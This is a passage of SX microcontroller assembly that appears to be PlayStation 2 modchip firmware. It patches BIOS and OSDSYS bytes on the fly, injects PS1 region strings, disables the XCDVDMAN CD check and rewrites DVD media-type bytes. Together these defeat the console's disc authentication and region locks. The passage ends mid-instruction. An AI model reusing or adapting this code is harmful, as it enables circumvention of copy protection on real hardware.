off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 mov VAR_DC1,w ;V1-8 kernels: sync 1E006334 then 2410 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;********************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3b;3a ;; one bit inc in h2o original 3a sx48. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG page $0800 jmp PS1_CONSOLE_PAL_YFIX page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0a00 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 snb V14_FLAG page $0a00 jmp PS2LOGO_PATCHLOAD_22_JMP1 ;; check mov w,#$b mov VAR_DC1,w mov w,#$59 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 likely put on another page isolated CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$37;27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$7c;f4 mov VAR_DC3,w mov w,#$a9;9e mov VAR_DC4,w mov w,#$37;27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20;15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START_2 snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; indf will need work mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20;15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;; should be fine ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp MECHACON_WAIT_OE clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp MECHACON_WAIT_OE ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spa rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp 